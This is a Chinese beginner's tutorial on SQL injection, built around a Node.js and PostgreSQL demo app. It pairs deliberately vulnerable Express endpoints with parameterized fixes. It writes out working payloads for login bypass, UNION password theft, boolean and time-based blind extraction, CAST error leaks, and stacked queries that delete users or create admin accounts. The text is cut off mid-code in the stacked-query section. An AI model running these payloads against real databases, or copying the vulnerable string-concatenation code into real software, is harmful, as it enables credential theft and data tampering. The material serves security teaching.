文章目录
-
- 一、什么是 SQL 注入?
-
- 1.1 定义
- 1.2 一句话理解
- 1.3 为什么会产生?
- 1.4 举个最简单的例子
- 1.5 SQL 注入的危害
- 二、项目概览
-
- 2.1 项目结构
- 2.2 技术栈
- 2.3 数据库表结构
- 2.4 测试数据
- 三、演示一:登录绕过(Login Bypass)
-
- 3.1 漏洞原理
- 3.2 攻击方法
-
- 攻击载荷 1:用注释符绕过密码
- 攻击载荷 2:永真条件 OR 1=1
- 攻击载荷 3:闭合两端引号
- 3.3 漏洞代码分析
- 3.4 防御代码分析
- 3.5 对比总结
- 四、演示二:UNION 查询注入
-
- 4.1 漏洞原理
- 4.2 攻击方法
-
- 攻击载荷 1:确定列数
- 攻击载荷 2:窃取用户名和密码
- 攻击载荷 3:窃取管理员日志
- 4.3 漏洞代码分析
- 4.4 防御代码分析
- 4.5 对比总结
- 五、演示三:布尔盲注(Boolean-Based Blind)
-
- 5.1 漏洞原理
- 5.2 攻击方法
-
- 攻击载荷 1:猜解密码长度
- 攻击载荷 2:逐字符猜解密码
- 攻击载荷 3:猜解数据库版本
- 5.3 漏洞代码分析
- 5.4 防御代码分析
- 5.5 对比总结
- 六、演示四:延时注入(Time-Based Blind Injection)
-
- 6.1 漏洞原理
- 6.2 攻击方法
-
- 场景:利用用户存在检查接口
- 攻击载荷 1:测试延时是否可用
- 攻击载荷 2:猜解密码长度
- 攻击载荷 3:逐字符猜解密码
- 完整猜解流程(演示 admin 密码 "admin123")
- 6.3 漏洞代码分析
- 6.4 防御代码分析
- 6.5 对比总结
- 七、演示五:报错注入(Error-Based Injection)
-
- 7.1 漏洞原理
- 7.2 攻击方法
-
- 步骤 1:正常查询
- 步骤 2:注入 CAST 报错(泄露密码)
- 攻击载荷 2:泄露其他用户的密码
- 攻击载荷 3:泄露邮箱
- 攻击载荷 4:泄露数据库版本
- 7.3 漏洞代码分析
- 7.4 防御代码分析
- 7.5 对比总结
- 八、演示六:堆叠查询注入(Stacked Queries)
-
- 8.1 漏洞原理
- 8.2 攻击方法
-
- 场景:更新个人简介
- 攻击载荷 1:删除其他用户
- 攻击载荷 2:修改管理员密码
- 攻击载荷 3:创建新的管理员账户
- 8.3 漏洞代码分析
- 8.4 防御代码分析
- 8.5 对比总结
- 九、演示七:二次注入(Second-Order Injection)
-
- 9.1 漏洞原理
- 9.2 攻击方法
-
- 本演示的流程:
- 9.3 漏洞代码分析
- 9.4 防御代码分析
- 9.5 对比总结
- 十、核心防御:参数化查询
-
- 10.1 什么是参数化查询?
- 10.2 参数化查询的工作原理
- 10.3 在 PostgreSQL (pg 驱动) 中的写法
- 10.4 为什么参数化查询能防止 SQL 注入?
- 10.5 参数化查询不能防御的情况
- 十一、安全最佳实践
-
- 11.1 防御体系总结
- 11.2 代码层面的最佳实践
-
- 永远使用参数化查询
- 验证输入类型
- 不在错误消息中暴露信息
- 使用最小权限原则
- 对动态表名/列名使用白名单
- 11.3 不要依赖的"防御"手段
- 十二、总结
-
- 12.1 七种 SQL 注入对比
- 12.2 核心要点
- 12.3 学习路径建议
基于 Node.js + PostgreSQL 的 SQL 注入漏洞演示平台,面向初学者的交互式学习教程。 完整漏洞演示源码:https://gitcode.com/lcreek/Security
一、什么是 SQL 注入?
1.1 定义
SQL 注入(SQL Injection) 是一种代码注入技术,攻击者通过在应用程序的输入字段中插入恶意 SQL 语句,来操纵后端数据库执行非预期的操作。
1.2 一句话理解
程序把用户输入当作 SQL 代码执行了,而不是当作普通数据来处理。
1.3 为什么会产生?
当一个应用程序的开发者使用字符串拼接的方式构建 SQL 查询语句时,用户的输入内容会直接成为 SQL 语句的一部分。如果用户输入了精心构造的特殊字符(如单引号、分号、SQL 关键字等),就可能改变原始 SQL 语句的语义。
1.4 举个最简单的例子
假设后端代码是这样的:
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
如果用户输入:
- 用户名:admin'–
- 密码:任意值
实际执行的 SQL 变为:
SELECT * FROM users WHERE username='admin'–' AND password='任意值'
— 是 SQL 的注释符,后面的 AND password=… 全部被注释掉了。查询变成了只要 username='admin' 就返回结果,完全绕过了密码验证。
1.5 SQL 注入的危害
| 数据泄露 | 窃取用户密码、邮箱、手机号等敏感信息 |
| 身份冒用 | 绕过登录验证,以管理员身份登录 |
| 数据篡改 | 修改数据库中的记录(如修改价格、余额) |
| 数据删除 | 删除数据库表或整个数据库 |
| 权限提升 | 创建新的管理员账户 |
| 服务器沦陷 | 在某些配置下,甚至可能执行操作系统命令 |
二、项目概览
2.1 项目结构
SQLInjectionDemos/
├── server.js # 服务器主入口(Express + 路由 + API)
├── package.json # 项目依赖配置
├── db/
│ ├── pool.js # PostgreSQL 连接池配置
│ └── init.sql # 数据库初始化脚本(建表 + 测试数据)
└── public/
├── index.html # 首页导航
├── style.css # 全局样式表
├── login.html # 演示1:登录绕过
├── union.html # 演示2:UNION 注入
├── boolean-blind.html # 演示3:布尔盲注
├── time-blind.html # 演示4:延时注入
├── error-based.html # 演示5:报错注入
├── stacked.html # 演示6:堆叠注入
└── second-order.html # 演示7:二次注入
2.2 技术栈
| Node.js | 运行时环境 |
| Express | Web 框架,处理 HTTP 请求和路由 |
| PostgreSQL | 关系型数据库 |
| pg (node-postgres) | Node.js 的 PostgreSQL 驱动 |
| HTML/CSS/JavaScript | 前端页面和交互 |
2.3 数据库表结构
项目使用 4 张表来演示不同的 SQL 注入场景:
— 用户表:用于登录绕过、布尔盲注、报错注入、堆叠注入、二次注入
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username VARCHAR(50) NOT NULL UNIQUE,
password VARCHAR(100) NOT NULL,
email VARCHAR(100),
role VARCHAR(20) DEFAULT 'user'
);
— 商品表:用于 UNION 注入
CREATE TABLE products (
id SERIAL PRIMARY KEY,
name VARCHAR(100) NOT NULL,
description TEXT,
price DECIMAL(10,2)
);
— 用户资料表:用于二次注入、堆叠注入
CREATE TABLE profiles (
id SERIAL PRIMARY KEY,
username VARCHAR(50) NOT NULL,
bio TEXT
);
— 管理员日志表:用于敏感数据泄露演示
CREATE TABLE admin_logs (
id SERIAL PRIMARY KEY,
action VARCHAR(200),
created_at TIMESTAMP DEFAULT NOW()
);
2.4 测试数据
— 5 个用户:1 个管理员 + 4 个普通用户
INSERT INTO users (username, password, email, role) VALUES
('admin', 'admin123', 'admin@demo.com', 'admin'),
('alice', 'pass123', 'alice@demo.com', 'user'),
('bob', 'secret456', 'bob@demo.com', 'user'),
('charlie', 'p@ssw0rd!', 'charlie@demo.com', 'user'),
('david', 'david2024', 'david@demo.com', 'user');
— 8 个商品
INSERT INTO products (name, description, price) VALUES
('笔记本电脑', '15寸轻薄本,16GB内存', 5999.00),
('无线鼠标', '静音设计,蓝牙5.0', 129.00),
('机械键盘', '青轴,全键无冲', 349.00),
— … 更多商品
三、演示一:登录绕过(Login Bypass)
3.1 漏洞原理
难度等级:初级
这是最经典、最易理解的 SQL 注入类型。在用户登录时,后端程序需要用用户名和密码去数据库查询匹配的记录。如果开发者使用字符串拼接来构建这条 SQL 查询,攻击者就可以通过精心构造的输入来绕过密码验证。
正常的登录 SQL:
SELECT * FROM users WHERE username='admin' AND password='admin123'
这条 SQL 的语义是:找一个用户名是 admin 且 密码是 admin123 的用户。
3.2 攻击方法
攻击载荷 1:用注释符绕过密码
输入:
- 用户名:admin'–
- 密码:任意值
实际执行的 SQL:
SELECT * FROM users WHERE username='admin'–' AND password='任意值'
原理解析:
— 是 SQL 中的单行注释符(# 也可以)。当 admin' 闭合了前面的单引号后,– 将后面的 AND password=… 全部注释掉了。数据库实际执行的逻辑等价于:
— 原始:username='admin' AND password='admin123'
— 注入后:username='admin' AND password='admin123' ← 被注释掉了
— 实际执行:username='admin'
查询变成了只要 username='admin' 就返回结果,完全绕过了密码验证。
攻击载荷 2:永真条件 OR 1=1
输入:
- 用户名:' OR 1=1–
- 密码:任意值
实际执行的 SQL:
SELECT * FROM users WHERE username='' OR 1=1–' AND password='任意值'
原理解析:
1=1 永远为真。OR 操作符的特性是:只要两个条件中有一个为真,整个表达式就为真。所以 username='' OR 1=1 永远是 TRUE,数据库会返回 所有用户 的第一条记录(通常是管理员)。
攻击载荷 3:闭合两端引号
输入:
- 用户名:' OR '1'='1
- 密码:' OR '1'='1
实际执行的 SQL:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'
利用 '1'='1' 这个永真条件,无论是在用户名还是密码处注入,都能让 WHERE 子句始终为真。
3.3 漏洞代码分析
// ===== 漏洞版本 =====
app.post("/api/login/vulnerable", async (req, res) => {
const { username, password } = req.body;
// 【漏洞核心】使用模板字符串直接拼接用户输入到 SQL 中
// ${username} 和 ${password} 的内容会原样拼入 SQL,不经过任何过滤
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
try {
const result = await pool.query(sql);
if (result.rows.length > 0) {
res.json({ success: true, message: `登录成功!`, user: result.rows[0] });
} else {
res.json({ success: false, message: "用户名或密码错误" });
}
} catch (err) {
res.json({ success: false, message: `SQL 执行错误: ${err.message}` });
}
});
问题出在哪里? 第 6 行,${username} 和 ${password} 直接嵌入到 SQL 字符串中。用户输入的任何字符——包括单引号、SQL 关键字、注释符——都会成为 SQL 语句的一部分。
3.4 防御代码分析
// ===== 安全版本 =====
app.post("/api/login/safe", async (req, res) => {
const { username, password } = req.body;
// 【安全核心】使用 $1, $2 占位符,SQL 结构与数据分离
const sql = "SELECT * FROM users WHERE username=$1 AND password=$2";
try {
// 将参数数组作为第二个参数传入 pool.query()
// pg 驱动负责将 username 替换 $1,password 替换 $2,并安全转义
const result = await pool.query(sql, [username, password]);
if (result.rows.length > 0) {
res.json({ success: true, message: `登录成功!` });
} else {
res.json({ success: false, message: "用户名或密码错误" });
}
} catch (err) {
res.json({ success: false, message: `服务器错误` });
}
});
为什么安全?
3.5 对比总结
| SQL 构建方式 | 模板字符串拼接 | 参数化查询($1 占位符) |
| 用户输入角色 | 既是数据,也是 SQL 代码 | 纯粹是数据 |
| 攻击 admin'– 效果 | 绕过密码,登录成功 | 查找用户名 admin'–,登录失败 |
| 安全性 | 不安全 | 安全 |
四、演示二:UNION 查询注入
4.1 漏洞原理
难度等级:中级
UNION 是 SQL 中的集合操作符,它可以将多个 SELECT 语句的结果合并为一个结果集。UNION 注入的核心思路是:攻击者在正常查询的后面追加一个 UNION SELECT,将恶意查询的结果合并到正常结果中,从而窃取其他表的数据。
前提条件(两个关键):
原始查询:
SELECT id, name, price FROM products WHERE name LIKE '%鼠标%'
返回 3 列:id(整数)、name(字符串)、price(小数)。
4.2 攻击方法
攻击载荷 1:确定列数
攻击者首先需要确定原始查询返回几列,通常使用 ORDER BY 试探:
关键字:' ORDER BY 1–
关键字:' ORDER BY 2–
关键字:' ORDER BY 3–
关键字:' ORDER BY 4– ← 报错!说明只有 3 列
攻击载荷 2:窃取用户名和密码
关键字:' UNION SELECT id, username, password FROM users–
实际执行的 SQL:
SELECT id, name, price FROM products WHERE name LIKE '%' UNION SELECT id, username, password FROM users–%'
结果: 商品列表和用户数据(id、username、password)合并在一起返回,攻击者拿到了所有用户的密码!
攻击载荷 3:窃取管理员日志
关键字:' UNION SELECT id, action, created_at::text FROM admin_logs–
注意 ::text 类型转换:admin_logs 表的 created_at 是 TIMESTAMP 类型,与原始查询的 price(DECIMAL)类型不兼容,需要用 ::text 转换为字符串。
4.3 漏洞代码分析
// ===== 漏洞版本 =====
app.get("/api/products/vulnerable", async (req, res) => {
const { keyword } = req.query;
// 【漏洞核心】% 通配符和 keyword 都拼在 SQL 字符串中
// 攻击者可以通过闭合 ' 和 % 来注入自己的 SQL
const sql = `SELECT id, name, price FROM products WHERE name LIKE '%${keyword || ""}%'`;
try {
const result = await pool.query(sql);
res.json({
success: true,
data: result.rows,
executedSql: sql, // 返回实际执行的 SQL,帮助理解注入过程
});
} catch (err) {
res.json({
success: false,
message: `SQL 执行错误: ${err.message}`,
executedSql: sql,
});
}
});
问题分析:
第 6 行,'%${keyword}%' 的结构意味着:
- 正常搜索 鼠标 时,SQL 为 … LIKE '%鼠标%',正常工作。
- 攻击者输入 ' UNION SELECT …– 时,SQL 变为 … LIKE '%' UNION SELECT …–%',' 闭合了前面的 %,– 注释掉了后面的 %',UNION 注入成功!
4.4 防御代码分析
// ===== 安全版本 =====
app.get("/api/products/safe", async (req, res) => {
const { keyword } = req.query;
const sql = "SELECT id, name, price FROM products WHERE name LIKE $1";
try {
// 将 %keyword% 作为参数值传入,keyword 的内容被安全转义
// 攻击者输入的任何内容都会被当作搜索关键词字符串,而不是 SQL 语法
const result = await pool.query(sql, [`%${keyword || ""}%`]);
res.json({ success: true, data: result.rows });
} catch (err) {
res.json({ success: false, message: `服务器错误` });
}
});
为什么安全?
$1 占位符接收的是 %keyword% 这个整体字符串,keyword 的内容被 pg 驱动安全转义。攻击者输入 ' UNION SELECT … 时,它会被当作一个普通搜索词 %' UNION SELECT …% 在 name 字段中模糊匹配,显然找不到任何匹配的商品。
4.5 对比总结
| SQL 构建方式 | 字符串拼接 | 参数化查询($1 占位符) |
| 攻击 ' UNION SELECT … 效果 | 窃取用户表数据 | 搜索无结果,注入失败 |
| 返回的 SQL 信息 | 返回实际执行的 SQL(教学目的) | 不返回 SQL |
| 安全性 | 不安全 | 安全 |
五、演示三:布尔盲注(Boolean-Based Blind)
5.1 漏洞原理
难度等级:中级
盲注(Blind Injection) 发生在页面不直接返回数据库内容,但会根据查询结果呈现不同状态的场景。攻击者无法直接看到数据,但可以通过观察"两种不同响应"来推断信息。
核心思路:
将"数据是否等于某个字符"这个信息,转化为"用户存在" vs "用户不存在"两种响应,然后逐字符猜解。
场景: 一个用户名检查功能,只返回"用户存在"或"用户不存在"。攻击者可以通过构造条件判断语句,将敏感数据逐字符地"盲猜"出来。
5.2 攻击方法
攻击载荷 1:猜解密码长度
用户名:admin' AND LENGTH(password) > 5–
逻辑: 如果 admin 的密码长度 > 5,返回"用户存在";否则返回"用户不存在"。通过不断调整数字,可以确定密码长度。
攻击载荷 2:逐字符猜解密码
用户名:admin' AND SUBSTRING(password, 1, 1)='a'–
用户名:admin' AND SUBSTRING(password, 1, 1)='b'–
…
用户名:admin' AND SUBSTRING(password, 1, 1)='z'–
逻辑: 假设密码长度是 8:
- 第一步:遍历 a-z 和 0-9,猜密码第 1 个字符。当 SUBSTRING(password,1,1)='a' 时返回"用户存在",说明密码首字符是 a。
- 第二步:猜第 2 个字符,SUBSTRING(password,2,1)='d' 返回"用户存在",说明是 d。
- 以此类推,逐字符猜出密码 admin123。
所需请求数: 假设密码长度 8,字符集 36(a-z + 0-9),最坏情况 8 × 36 = 288 次请求即可猜出密码。实际攻击中通常使用自动化脚本。
攻击载荷 3:猜解数据库版本
用户名:admin' AND SUBSTRING(version(), 1, 3)='Pos'–
如果返回"用户存在",说明数据库是 PostgreSQL(version() 返回 PostgreSQL x.x.x)。
5.3 漏洞代码分析
// ===== 漏洞版本 =====
app.get("/api/user/exists/vulnerable", async (req, res) => {
const { username } = req.query;
// 【漏洞核心】直接将用户输入拼接到 WHERE 子句
const sql = `SELECT * FROM users WHERE username='${username || ""}'`;
try {
const result = await pool.query(sql);
if (result.rows.length > 0) {
res.json({ exists: true, message: "用户存在" }); // True 状态
} else {
res.json({ exists: false, message: "用户不存在" }); // False 状态
}
} catch (err) {
res.json({ exists: false, message: "查询出错" });
}
});
为什么这会形成盲注?
5.4 防御代码分析
// ===== 安全版本 =====
app.get("/api/user/exists/safe", async (req, res) => {
const { username } = req.query;
try {
// 使用 $1 占位符,整个 username 输入作为字符串参数
// 攻击者输入 ' AND SUBSTRING(…) 会被当作一个完整的用户名字符串来匹配
const result = await pool.query("SELECT * FROM users WHERE username=$1", [
username || "",
]);
res.json({ exists: result.rows.length > 0 });
} catch (err) {
res.json({ exists: false, message: "查询出错" });
}
});
为什么安全?
参数化查询将 admin' AND SUBSTRING(password,1,1)='a' 当作一个完整的用户名字符串来匹配。数据库会查找用户名恰好等于这个奇怪字符串的用户,显然找不到,返回"用户不存在"。SUBSTRING() 函数不会被当作 SQL 代码执行。
5.5 对比总结
| 攻击方式 | 利用"存在/不存在"两种状态逐字符猜解 | 无法注入,注入语句被当作用户名匹配 |
| 攻击 admin' AND SUBSTRING(…) | 返回"存在"或"不存在",泄露信息 | 查找该字符串用户,返回"不存在" |
| 所需请求数 | 约 288 次可猜出 8 位密码 | 注入无效 |
| 安全性 | 不安全 | 安全 |
六、演示四:延时注入(Time-Based Blind Injection)
6.1 漏洞原理
难度等级:中高级
延时注入(时间盲注) 是盲注的一种高级变体。当页面不返回任何数据差异(只有一种响应),布尔盲注无法使用时,攻击者可以注入延时函数,通过测量服务器响应时间来判断条件真假。
核心思路:
页面虽然看起来一样,但如果条件为真,服务器会"多等几秒"再响应。
与布尔盲注的对比:
| 判断依据 | 页面显示"存在" vs “不存在” | 响应时间快 vs 慢 |
| 适用场景 | 页面有两种不同响应 | 页面只有一种响应(如统一返回"操作成功") |
| 速度 | 快 | 极慢(每次判断需要等待数秒) |
| 隐蔽性 | 中等 | 高(响应内容完全一致) |
| 数据库函数 | 不需要特殊函数 | 需要延时函数(如 PG_SLEEP) |
PostgreSQL 的延时函数:
SELECT PG_SLEEP(3); — 数据库休眠 3 秒
攻击者如何利用:
6.2 攻击方法
场景:利用用户存在检查接口
原始查询:
SELECT * FROM users WHERE username='admin'
页面只返回"操作完成"(一种响应),没有"存在/不存在"的差异。
攻击载荷 1:测试延时是否可用
用户名:admin' AND (SELECT 1 FROM (SELECT PG_SLEEP(3)) AS t)=1–
实际执行的 SQL:
SELECT * FROM users WHERE username='admin' AND (SELECT 1 FROM (SELECT PG_SLEEP(3)) AS t)=1–'
判断: 如果响应延迟了约 3 秒 → 存在延时注入!
原理: PG_SLEEP(3) 让数据库休眠 3 秒。攻击者测量 HTTP 请求的往返时间,与正常响应时间对比,如果明显增加就确认注入存在。
攻击载荷 2:猜解密码长度
用户名:admin' AND (SELECT CASE WHEN (LENGTH(password)>5) THEN PG_SLEEP(2) ELSE 0 END)=0–
实际执行的 SQL:
SELECT * FROM users WHERE username='admin' AND (SELECT CASE WHEN (LENGTH(password)>5) THEN PG_SLEEP(2) ELSE 0 END)=0–'
解析:
CASE WHEN (LENGTH(password)>5) — 判断 admin 的密码长度是否大于 5
THEN PG_SLEEP(2) — 条件为真:休眠 2 秒
ELSE 0 — 条件为假:不休眠
END
- 响应延迟 2 秒 → admin 密码长度 > 5
- 响应即时返回 → admin 密码长度 ≤ 5
通过二分法调整数字,可以精确确定密码长度为 8。
攻击载荷 3:逐字符猜解密码
用户名:admin' AND (SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN PG_SLEEP(2) ELSE 0 END)=0–
解析:
CASE WHEN (SUBSTRING(password,1,1)='a') — 判断密码第 1 个字符是否为 'a'
THEN PG_SLEEP(2) — 是 'a':休眠 2 秒
ELSE 0 — 不是 'a':不休眠
END
- 响应延迟 2 秒 → 密码首字符是 a
- 响应即时返回 → 密码首字符不是 a,换下一个字符继续猜
完整猜解流程(演示 admin 密码 “admin123”)
| 1 | SUBSTRING(password,1,1)='a' | ~2.1s | 首字符是 a |
| 2 | SUBSTRING(password,2,1)='d' | ~2.1s | 第2字符是 d |
| 3 | SUBSTRING(password,3,1)='m' | ~2.1s | 第3字符是 m |
| 4 | SUBSTRING(password,4,1)='i' | ~2.1s | 第4字符是 i |
| 5 | SUBSTRING(password,5,1)='n' | ~2.1s | 第5字符是 n |
| … | … | … | … |
| 8 | SUBSTRING(password,8,1)='3' | ~2.1s | 第8字符是 3 |
结果: 密码 = admin123,8 个字符全部猜出。
所需请求数估算:
- 密码长度 8,字符集 36(a-z + 0-9)
- 最坏情况:8 × 36 = 288 次请求
- 每个请求等待 2 秒,总耗时约 288 × 2 = 576 秒(约 10 分钟)
⚠️ 注意: 延时注入是所有注入技术中最慢的,但也是最难防御的——因为响应内容完全一致,WAF 很难通过内容检测来判断是否存在攻击。
6.3 漏洞代码分析
延时注入可以在任何存在注入点的接口上实施。这里以用户存在检查接口为例:
// ===== 漏洞版本 =====
app.get("/api/user/exists/time-blind/vulnerable", async (req, res) => {
const { username } = req.query;
// 【漏洞核心】直接将用户输入拼接到 WHERE 子句
const sql = `SELECT * FROM users WHERE username='${username || ""}'`;
try {
await pool.query(sql);
// 注意:即使这里统一返回 "操作完成" 而不区分"存在/不存在"
// 攻击者仍可以通过 PG_SLEEP() 延时函数来判断条件真假
res.json({ status: "ok" });
} catch (err) {
res.json({ status: "ok" }); // 错误也不返回详情
}
});
为什么统一响应仍然挡不住延时注入?
攻击者注入 PG_SLEEP():
请求 A:admin' AND (PG_SLEEP(2) IS NOT NULL)–
→ 数据库休眠 2 秒 → 响应时间 ≈ 2000ms
请求 B:不存在的用户' AND (PG_SLEEP(2) IS NOT NULL)–
→ 数据库不休眠(因为 WHERE 不匹配,不会执行 PG_SLEEP)
→ 响应时间 ≈ 50ms
攻击者通过响应时间差异判断:
– 2 秒响应 → 用户 "admin" 存在
– 50ms 响应 → 用户不存在
关键洞察: 即使页面内容完全一样,时间本身就是信息通道!
6.4 防御代码分析
// ===== 安全版本 =====
app.get("/api/user/exists/time-blind/safe", async (req, res) => {
const { username } = req.query;
try {
// 参数化查询:PG_SLEEP 等函数不会被当作 SQL 代码执行
const result = await pool.query("SELECT * FROM users WHERE username=$1", [
username || "",
]);
res.json({ status: "ok" });
} catch (err) {
res.json({ status: "ok" });
}
});
为什么安全?
参数化查询将整个输入作为字符串值处理。攻击者输入 admin' AND PG_SLEEP(3)– 时,数据库会查找用户名等于这个完整字符串的用户,PG_SLEEP() 不会被执行。
额外的防御措施:
| 请求频率限制 | 限制同一 IP 的请求频率,增加攻击时间成本 |
| 查询超时设置 | 设置 SQL 查询超时(如 5 秒),防止长时间休眠 |
| 参数化查询 | 根本解决方案,阻止任何 SQL 函数注入 |
| 响应时间随机化 | 在响应中加入随机延迟(如 10-100ms),干扰时间测量 |
6.5 对比总结
| 攻击方式 | 注入 PG_SLEEP() 通过响应时间推断数据 | 无法注入,注入语句被当作用户名匹配 |
| 隐蔽性 | 极高(响应内容完全一致) | 无漏洞 |
| 攻击速度 | 极慢(每个字符需数秒) | 注入无效 |
| 检测难度 | 高(WAF 难以通过内容检测) | 无需检测 |
| 安全性 | 不安全 | 安全 |
七、演示五:报错注入(Error-Based Injection)
7.1 漏洞原理
难度等级:中级
报错注入 利用数据库在执行错误 SQL 时返回的错误消息来获取数据。当程序将 SQL 错误信息直接展示给用户时,攻击者可以构造特意会报错的 SQL 语句,在错误消息中嵌入敏感数据。
核心思路:
攻击者故意让数据库报错——但错误消息不是副作用,错误消息本身就是攻击者想要的数据载体!
为什么报错注入能工作?
报错注入需要同时满足两个条件:
| 存在注入点 | 用户输入能改变 SQL 语义 | id 直接拼接到 SQL:WHERE id=${id} |
| 错误消息回显 | 服务器将数据库错误返回给客户端 | catch 块返回 err.message |
CAST 函数的工作原理:
PostgreSQL 的 CAST(值 AS 目标类型) 函数尝试将值转换为目标类型。如果转换失败,PostgreSQL 会抛出错误,错误消息中包含原始值:
— 正常:将字符串 '123' 转为整数
SELECT CAST('123' AS INTEGER);
— 结果:123
— 报错:无法将 'admin123' 转为整数!
SELECT CAST('admin123' AS INTEGER);
— 错误:invalid input syntax for type integer: "admin123"
— ^^^^^^^^^^
— 原始值在错误消息中!
攻击者的思路:
7.2 攻击方法
步骤 1:正常查询
用户ID:1
实际执行的 SQL:
SELECT username FROM users WHERE id=1
结果: 返回 admin 用户,一切正常。
步骤 2:注入 CAST 报错(泄露密码)
用户ID:1 AND CAST((SELECT password FROM users WHERE id=1) AS INTEGER)=1
逐字符解析 Payload:
1 AND CAST((SELECT password FROM users WHERE id=1) AS INTEGER)=1
│ │ │ │ │ │
│ │ │ └── 子查询:获取 id=1 用户的 password = "admin123"
│ │ └── CAST(…AS INTEGER):尝试将子查询结果转为整数
│ └── =1:与整数比较,使 AND 获得布尔参数(PostgreSQL 要求 AND 的参数必须是布尔类型)
└── 正常参数
注入点分析:
– 代码模板:WHERE id=${id || 1}
– id 参数没有用引号包裹(数字型注入)
– 不需要闭合引号,直接追加 SQL 逻辑即可
实际执行的 SQL:
SELECT username FROM users WHERE id=1 AND CAST((SELECT password FROM users WHERE id=1) AS INTEGER)=1
执行流程:
1. id=1 → 找到 id 为 1 的用户(admin)
2. (SELECT password FROM users WHERE id=1) → 子查询返回 "admin123"
3. CAST('admin123' AS INTEGER)=1 → 类型转换失败!
4. PostgreSQL 抛出错误:invalid input syntax for type integer: "admin123"
5. catch 块捕获错误,返回给客户端
返回的错误消息:
{
"success": false,
"message": "SQL 执行错误: invalid input syntax for type integer: \\"admin123\\""
}
密码 admin123 直接在错误消息中泄露了!
攻击载荷 2:泄露其他用户的密码
用户ID:1 AND CAST((SELECT password FROM users WHERE id=2) AS INTEGER)=1
错误消息: invalid input syntax for type integer: "pass123" ← alice 的密码
攻击载荷 3:泄露邮箱
用户ID:1 AND CAST((SELECT email FROM users WHERE id=1) AS INTEGER)=1
错误消息: invalid input syntax for type integer: "admin@demo.com" ← admin 的邮箱
攻击载荷 4:泄露数据库版本
用户ID:1 AND CAST((SELECT version()) AS INTEGER)=1
错误消息: invalid input syntax for type integer: "PostgreSQL 16.x…"
攻击者不需要看到正常查询结果,错误消息就是他们的"输出窗口"!
7.3 漏洞代码分析
// ===== 漏洞版本 =====
app.get("/api/user/search/vulnerable", async (req, res) => {
const { id } = req.query;
try {
// 【漏洞核心】不验证 id 参数类型,直接拼接到 SQL 中
const sql = `SELECT username FROM users WHERE id=${id || 1}`;
const result = await pool.query(sql);
res.json({
success: true,
data: result.rows,
executedSql: sql,
});
} catch (err) {
// 【漏洞点】将完整的数据库错误信息返回给客户端
res.json({
success: false,
message: `SQL 执行错误: ${err.message}`, // 错误消息泄露
});
}
});
两个漏洞点:
7.4 防御代码分析
// ===== 安全版本 =====
app.get("/api/user/search/safe", async (req, res) => {
const { id } = req.query;
// 严格校验:只接受纯数字输入
// 使用正则 /^\\\\d+$/ 确保整个字符串都是数字,防止 parseInt 的静默截断
// 例如 parseInt("1 AND CAST(…)") 会返回 1,但正则校验会拒绝
if (!id || !/^\\\\d+$/.test(id)) {
return res.json({ success: false, message: "无效的用户ID" });
}
const numId = parseInt(id, 10);
try {
const result = await pool.query(
"SELECT username FROM users WHERE id=$1",
[numId], // 传入已验证的整数
);
res.json({ success: true, data: result.rows });
} catch (err) {
// 不返回详细错误,避免信息泄露
res.json({ success: false, message: "服务器错误" });
}
});
三层防御:
7.5 对比总结
| 输入校验 | 无校验,直接拼接到 SQL | 正则严格校验,非纯数字拒绝 |
| SQL 构建 | 字符串拼接 | 参数化查询($1) |
| 错误处理 | 返回完整数据库错误信息 | 返回通用错误消息 |
| 漏洞类型 | SQL 注入 + 信息泄露 | 无漏洞 |
| 安全性 | 不安全 | 安全 |
八、演示六:堆叠查询注入(Stacked Queries)
8.1 漏洞原理
难度等级:高级
堆叠注入 是指攻击者在一个 SQL 语句中通过分号(;) 分隔,执行多条 SQL 语句。正常情况下,数据库驱动一次只执行一条 SQL,但某些配置或驱动允许执行多条语句,这就为攻击者提供了更大的操作空间。
核心思路:
在一个注入点同时执行多条 SQL 语句,攻击者可以完成 INSERT、UPDATE、DELETE 甚至 DROP 等破坏性操作。
️ 堆叠注入的危害极大,是 SQL 注入中最危险的一类。
8.2 攻击方法
场景:更新个人简介
原始 SQL(更新 bio 字段):
UPDATE profiles SET bio='我的新简介' WHERE username='admin'
攻击载荷 1:删除其他用户
输入(在 bio 中):
'; DELETE FROM users WHERE username='david';–
实际执行的 SQL:
UPDATE profiles SET bio=''; DELETE FROM users WHERE username='david';–' WHERE username='admin'
逐字符解析这个 Payload 是如何构造的:
原始 SQL 模板:UPDATE profiles SET bio='${bio}' WHERE username='${username}'
↑
bio 的值被单引号包裹
攻击者输入:'; DELETE FROM users WHERE username='david';–
↑↑ ↑↑
││ │└── — 注释掉后面的 ' WHERE…
││ └─── ; 分号结束 DELETE 语句
│└── ' 闭合 bio 字段的起始单引号,使 bio 值为空字符串 ''
└─── ; 分号分隔,开始新的一条 SQL 语句
最终解析:
'; → 闭合 bio='' 并结束 UPDATE 语句
DELETE … → 第二条 SQL 语句(恶意操作)
;– → 结束 DELETE 并注释掉原始 SQL 的剩余部分
实际执行了 2 条 SQL 语句:
— 语句 1:将 bio 设为空字符串(无害)
UPDATE profiles SET bio='';
— 语句 2:删除 david 用户!← 恶意操作
DELETE FROM users WHERE username='david';
— 语句 3:被注释掉,不执行
–' WHERE username='admin'
关键点:只需一个 '(单引号)来闭合 bio 字段,因为代码中是 bio='${bio}',不是 bio='${bio}')。'); 会多出一个 ),导致语法错误。
攻击载荷 2:修改管理员密码
'; UPDATE users SET password='hacked' WHERE username='admin';–
实际执行的 SQL:
UPDATE profiles SET bio=''; UPDATE users SET password='hacked' WHERE username='admin';–' WHERE username='admin'
管理员密码被改为 hacked,攻击者可以用新密码登录。
攻击载荷 3:创建新的管理员账户
'; INSERT INTO users (username, password, role) VALUES ('hacker', '123456', 'admin');–
实际执行的 SQL:
UPDATE profiles SET bio=''; INSERT INTO users (username, password, role) VALUES ('hacker', '123456', 'admin');–' WHERE username='admin'
攻击者创建了一个管理员账户,拥有了完整的系统权限。
8.3 漏洞代码分析
// ===== 漏洞版本 =====
app.post("/api/profile/update/vulnerable", async (req, res) => {
const { username, bio } = req.body;
// 【漏洞核心】bio 内容直接拼接到 VALUES 中
// 分号可以分隔多条 SQL,pg 驱动默认不允许但有些配置可以
const sql = `UPDATE profiles SET bio='${bio || ""}' WHERE username='${username || ""}'`;
try {
const result = await pool.query(sql);
res.json({
success: true,
message: "资料更新成功",
rowCount: result.rowCount,
